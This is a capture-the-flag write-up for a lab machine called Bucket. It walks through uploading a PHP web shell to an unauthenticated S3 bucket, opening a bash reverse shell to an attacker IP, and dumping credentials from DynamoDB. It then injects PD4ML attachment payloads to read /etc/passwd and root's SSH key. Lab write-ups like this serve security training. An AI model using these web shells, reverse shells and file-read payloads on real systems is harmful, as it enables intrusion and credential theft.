This is a Medium Linux Box. It revolves around AWS and an S3 instance. The HTML source code of the main site reveals an S3 instance subdomain. It allows for unauthenticated file upload, so it’s possible to get code execution via PHP. With a foothold, there is a config file that references DynamoDB. This database contains credentials for another user on the box. That user has Read access to the source code of a web app running as root. The web app consults the DynamoDB to generate a PDF, and it’s possible to create an entry in a table to read arbitrary files into the generated PDF. That is used to read root’s SSH key and login to the machine.
Recon
The nmap scan reveals just 2 ports open.
sudo nmap -sS $IP -o allPorts
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-01 17:42 WEST
Nmap scan report for 10.129.110.110
Host is up (0.042s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
The service scan reveals the hostname of the machine in an HTTP redirect.
sudo nmap -sCV $IP -p22,80 -o openPorts
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-01 17:43 WEST
Nmap scan report for 10.129.110.110
Host is up (0.041s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open http Apache httpd 2.4.41
|_http-title: Did not follow redirect to http://bucket.htb/
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
We add that hostname to /etc/hosts so it can resolve to an IP address.
$ echo "$IP bucket.htb" | sudo tee -a /etc/hosts
10.129.110.110 bucket.htb
User Flag
Taking a look at the website on port 80, there are some visible errors retrieving the images.
Looking at the HTML source, these images are being pulled from another subdomain: s3.bucket.htb. This hints that we are looking at an AWS hosted server.
Now the images appear correctly on the website.
The URL in the source code gives some information. The images are hosted in an instance of S3, which is where data can be stored in AWS. Also we get the bucket name of adserver.
S3 instances can be enumerated with the aws shell command. Listing the contents of the adserver bucket is allowed without credentials. We also have to specify the endpoint URL otherwise it will look it up in the AWS servers.
$ aws s3 ls s3://adserver/ --no-sign-request --endpoint-url http://s3.bucket.htb
PRE images/
2025-10-01 19:26:04 5344 index.html
Unauthenticated file upload is also possible.
$ aws s3 cp testfile s3://adserver/ --no-sign-request --endpoint-url http://s3.bucket.htb
upload: ./testfile to s3://adserver/testfile
Listing the files again, the uploaded file is visible.
$ aws s3 ls s3://adserver/ --no-sign-request --endpoint-url http://s3.bucket.htb
PRE images/
2025-10-01 19:26:04 5344 index.html
2025-10-01 19:26:43 4 testfile
We can use this to upload a PHP payload that will be accessible in the main website. This results in code exection as www-data
$ echo '<?php system("whoami"); ?>' > test.php
$ aws s3 cp test.php s3://adserver/test.php --no-sign-request --endpoint-url http://s3.bucket.htb
$ curl http://bucket.htb/test.php
www-data
Now a webshell is uploaded, allowing for easy code execution.
$ echo '<?php system($_REQUEST["cmd"]); ?>' > test.php
$ aws s3 cp test.php s3://adserver/test.php --no-sign-request --endpoint-url http://s3.bucket.htb
A reverse shell can be executed with an HTTP POST request.
POST /test.php HTTP/1.1
Host: bucket.htb
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8
Sec-GPC: 1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
cmd=bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.235/9001+0>%261'
$ nc -nvlp 9001
listening on [any] 9001 ...
connect to [10.10.14.235] from (UNKNOWN) [10.129.110.110] 36990
bash: cannot set terminal process group (1113): Inappropriate ioctl for device
bash: no job control in this shell
www-data@bucket:/var/www/html$
To make the shell more stable these commands can be executed:
www-data@bucket:/$ script -qc bash /dev/null
<CTRL-Z>
$ stty raw -echo; fg
<ENTER>
<ENTER>
www-data can list roy’s home folder. The User Flag isn’t readable, but the project folder is.
www-data@bucket:/home/roy$ ls -la
total 28
drwxr-xr-x 3 roy roy 4096 Sep 24 2020 .
drwxr-xr-x 3 root root 4096 Sep 16 2020 ..
lrwxrwxrwx 1 roy roy 9 Sep 16 2020 .bash_history -> /dev/null
-rw-r--r-- 1 roy roy 220 Sep 16 2020 .bash_logout
-rw-r--r-- 1 roy roy 3771 Sep 16 2020 .bashrc
-rw-r--r-- 1 roy roy 807 Sep 16 2020 .profile
drwxr-xr-x 3 roy roy 4096 Sep 24 2020 project
-r-------- 1 roy roy 33 Oct 1 17:40 user.txt
Inside it, the db.php file contains references to DynamoDB, which is AWS’ NoSQL database instance. It can also be enumerated with the aws command.
www-data@bucket:/home/roy/project/vendor$ cat db.php
<?php
require 'vendor/autoload.php';
date_default_timezone_set('America/New_York');
use Aws\DynamoDb\DynamoDbClient;
use Aws\DynamoDb\Exception\DynamoDbException;
$client = new Aws\Sdk([
'profile' => 'default',
'region' => 'us-east-1',
'version' => 'latest',
'endpoint' => 'http://localhost:4566'
]);
$dynamodb = $client->createDynamoDb();
Running it in the remote machine results in a “Permission denied” error.
www-data@bucket:/home/roy/project/vendor$ aws dynamodb list-tables --no-sign-request --endpoint-url http://s3.bucket.htb
You must specify a region. You can also configure your region by running "aws configure".
www-data@bucket:/home/roy/project/vendor$ aws configure
AWS Access Key ID [None]: abc
AWS Secret Access Key [None]: abc
Default region name [None]: abc
Default output format [None]:
[Errno 13] Permission denied: '/var/www/.aws'
The same commands can be run on the attacker’s machine, and we are able to list the tables of the database.
$ aws configure
AWS Access Key ID [None]: abc
AWS Secret Access Key [None]: abc
Default region name [None]: abc
Default output format [None]:
$ aws dynamodb list-tables --no-sign-request --endpoint-url http://s3.bucket.htb
{
"TableNames": [
"users"
]
}
To dump the contents of the users, the scan subcommand can be used.
$ aws dynamodb scan --table-name users --endpoint-url http://s3.bucket.htb --profile abc
{
"Items": [
{
"password": {
"S": "Management@#1@#"
},
"username": {
"S": "Mgmt"
}
},
{
"password": {
"S": "Welcome123!"
},
"username": {
"S": "Cloudadm"
}
},
{
"password": {
"S": "n2vM-<_K_Q:.Aa2"
},
"username": {
"S": "Sysadm"
}
}
],
"Count": 3,
"ScannedCount": 3,
"ConsumedCapacity": null
}
3 credentials are retrieved, and the last one is reused for the roy user, which gives us SSH access and the User Flag.
$ ssh roy@bucket.htb
roy@bucket.htbs password:
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-48-generic x86_64)
roy@bucket:~$ ls -l
total 8
drwxr-xr-x 3 roy roy 4096 Sep 24 2020 project
-r-------- 1 roy roy 33 Oct 2 21:33 user.txt
Root Flag
Looking at listening ports, 8000 is open.
roy@bucket:~$ ss -ntlp
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:4566 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:40189 0.0.0.0:*
LISTEN 0 511 127.0.0.1:8000 0.0.0.0:*
LISTEN 0 511 *:80 *:*
LISTEN 0 128 [::]:22 [::]:*
Grepping for “8000” in the /etc/, it seems to be related to an Apache2 webserver.
roy@bucket:/etc$ grep -rI 8000 . 2> /dev/null
./sensors3.conf:chip "f71858fg-*" "f8000-*"
./apache2/ports.conf:Listen 127.0.0.1:8000
./apache2/sites-available/000-default.conf:<VirtualHost 127.0.0.1:8000>
./cron.daily/popularity-contest: week=648000
./udev/rules.d/70-snap.snapd.rules:ATTRS{idVendor}=="1c9e", ATTRS{idProduct}=="8000", ENV{.MM_USBIFNUM}=="05", ENV{ID_MM_LONGCHEER_PORT_TYPE_MODEM}="1"
./udev/rules.d/70-snap.snapd.rules:ATTRS{idVendor}=="1c9e", ATTRS{idProduct}=="8000", ENV{.MM_USBIFNUM}=="00", ENV{ID_MM_LONGCHEER_PORT_TYPE_AUX}="1"
./udev/rules.d/70-snap.snapd.rules:ATTRS{idVendor}=="1c9e", ATTRS{idProduct}=="8000", ENV{.MM_USBIFNUM}=="02", ENV{ID_MM_LONGCHEER_PORT_TYPE_AUX}="1"
./udev/rules.d/70-snap.snapd.rules:ATTRS{idVendor}=="1c9e", ATTRS{idProduct}=="8000", ENV{ID_MM_LONGCHEER_TAGGED}="1"
In the config file for an available site, we see this web app is running as root, which makes it a target for Privilege Escalation. Also the source directory for it is visible: /var/www/bucket-app
roy@bucket:/etc/apache2/sites-available$ cat 000-default.conf
<VirtualHost 127.0.0.1:8000>
<IfModule mpm_itk_module>
AssignUserId root root
</IfModule>
DocumentRoot /var/www/bucket-app
</VirtualHost>
<SNIP>
roy has read access on that folder. The index.php file contains some code related to the logic of the web app. If the web request is a POST containg the action=getalerts parameter, the site behaves differently.
It will look for entries in the alerts table in the DynamoDB database, if the title column is “Ransomware”, it creates an html file in the files folder containing the content of the alerts column. It then converts that file into a PDF using Pd4Cmd.
if($_SERVER["REQUEST_METHOD"]==="POST") {
if($_POST["action"]==="get_alerts") {
date_default_timezone_set('America/New_York');
$client = new DynamoDbClient([
'profile' => 'default',
'region' => 'us-east-1',
'version' => 'latest',
'endpoint' => 'http://localhost:4566'
]);
$iterator = $client->getIterator('Scan', array(
'TableName' => 'alerts',
'FilterExpression' => "title = :title",
'ExpressionAttributeValues' => array(":title"=>array("S"=>"Ransomware")),
));
foreach ($iterator as $item) {
$name=rand(1,10000).'.html';
file_put_contents('files/'.$name,$item["data"]);
}
passthru("java -Xmx512m -Djava.awt.headless=true -cp pd4ml_demo.jar Pd4Cmd file:///var/www/bucket-app/files/$name 800 A4 -out files/result.pdf");
}
}
There is no alerts table, but we can create one. This guide helps with the syntax.
$ aws dynamodb create-table --table-name alerts --attribute-definitions AttributeName=title,AttributeType=S AttributeName=data,AttributeType=S --key-schema AttributeName=title,KeyType=HASH AttributeName=data,KeyType=RANGE --provisioned-throughput ReadCapacityUnits=10,WriteCapacityUnits=5 --endpoint-url http://s3.bucket.htb
{
"TableDescription": {
"AttributeDefinitions": [
{
"AttributeName": "title",
"AttributeType": "S"
},
{
"AttributeName": "data",
"AttributeType": "S"
}
],
"TableName": "alerts",
"KeySchema": [
{
"AttributeName": "title",
"KeyType": "HASH"
},
{
"AttributeName": "data",
"KeyType": "RANGE"
}
],
"TableStatus": "ACTIVE",
"CreationDateTime": 1612409699.649,
"ProvisionedThroughput": {
"LastIncreaseDateTime": 0.0,
"LastDecreaseDateTime": 0.0,
"NumberOfDecreasesToday": 0,
"ReadCapacityUnits": 10,
"WriteCapacityUnits": 5
},
"TableSizeBytes": 0,
"ItemCount": 0,
"TableArn": "arn:aws:dynamodb:us-east-1:000000000000:table/alerts"
}
}
Listing the tables confirms it was created.
$ aws dynamodb list-tables --endpoint-url http://s3.bucket.htb
{
"TableNames": [
"alerts",
"users"
]
}
Now a test entry will be added to the table.
$ aws dynamodb put-item --table-name alerts --item '{"title":{"S":"Ransomware"},"data":{"S":"Test alert"}}' --endpoint-url http://s3.bucket.htb --profile abc
{
"ConsumedCapacity": {
"TableName": "alerts",
"CapacityUnits": 1.0
}
}
To trigger the file creation, there needs to be a POST request with the specific paramater.
$ curl http://127.0.0.1:8000/index.php --data 'action=get_alerts'
In the files folder there are now the 2 files. The html one contains the “Test alert” string.
roy@bucket:/var/www/bucket-app/files$ ls
4028.html result.pdf
Downloading the PDF with scp we can see it also contains the test string.
$ scp roy@bucket.htb:/var/www/bucket-app/files/result.pdf result.pdf
roy@bucket.htbs password:
result.pdf
Looking at the metadata of the file we see it was created by the PD4ML tool.
$ exiftool result.pdf
ExifTool Version Number : 13.25
File Name : result.pdf
<SNIP>
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
<SNIP>
Creator : PD4ML. HTML to PDF Converter for Java (3114fx1)
Producer : PD4ML. HTML to PDF Converter for Java (3114fx1)
It is possible to include attachments in the PDF, so a sensitive file could be read. This article explains how to include attachments. A new entry is added to the table containing the payload to read /etc/passwd.
$ aws dynamodb put-item --table-name alerts --item '{"title":{"S":"Ransomware"},"data":{"S":"<html><pd4ml:attachment src=\"/etc/passwd\" description=\"attachment sample\" type=\"paperclip\"/></html>"}}' --endpoint-url http://s3.bucket.htb
{
"ConsumedCapacity": {
"TableName": "alerts",
"CapacityUnits": 1.0
}
}
The table is constantly being deleted by a cleanup script, so these steps need to be done fast. The script is triggered and the file is downloaded.
$ curl http://127.0.0.1:8000/index.php --data 'action=get_alerts'
$ scp roy@bucket.htb:/var/www/bucket-app/files/result.pdf result.pdf
roy@bucket.htb's password:
result.pdf
The PDF contains the attachment.
When double clicked, the content of the file is visible.
The same can be done to read root’s SSH private key.
$ aws dynamodb put-item --table-name alerts --item '{"title":{"S":"Ransomware"},"data":{"S":"<html><pd4ml:attachment src=\"/root/.ssh/id_rsa\" description=\"attachment sample\" type=\"paperclip\"/></html>"}}' --endpoint-url http://s3.bucket.htb
{
"ConsumedCapacity": {
"TableName": "alerts",
"CapacityUnits": 1.0
}
}
$ curl http://127.0.0.1:8000/index.php --data 'action=get_alerts'
$ scp roy@bucket.htb:/var/www/bucket-app/files/result.pdf result.pdf
roy@bucket.htb's password:
result.pdf
The PDF contains the id_rsa key which can be copied to a file and used to login as root, which allows us to read the Root Flag.
$ chmod 600 root_id_rsa
$ ssh -i root_id_rsa root@bucket.htb
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-48-generic x86_64)
<SNIP>
root@bucket:~# ls
backups docker-compose.yml files restore.php restore.sh root.txt snap start.sh sync.sh